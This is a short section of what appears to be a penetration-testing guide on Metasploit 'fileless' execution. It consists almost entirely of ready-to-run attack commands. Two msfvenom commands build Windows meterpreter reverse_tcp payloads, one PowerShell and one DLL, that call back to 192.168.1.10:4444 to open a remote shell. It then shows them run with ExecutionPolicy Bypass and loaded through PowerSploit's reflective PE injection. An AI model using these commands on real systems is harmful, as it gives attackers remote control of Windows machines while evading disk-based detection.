16. Metasploit Fileless Execution Techniques

These techniques eliminate writing malicious files to the disk.

A. PowerShell Payloads

Generate a PowerShell-compatible payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f ps1 -o payload.ps1

Execute directly:

powershell -ExecutionPolicy Bypass -File payload.ps1

B. Reflective DLL Injection

1. Generate a DLL payload:

   msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f dll -o payload.dll
   

2. Use a reflective loader like PowerSploit:

   Import-Module Invoke-ReflectivePEInjection.ps1
   Invoke-ReflectivePEInjection -PEBytes (Get-Content payload.dll -Raw)
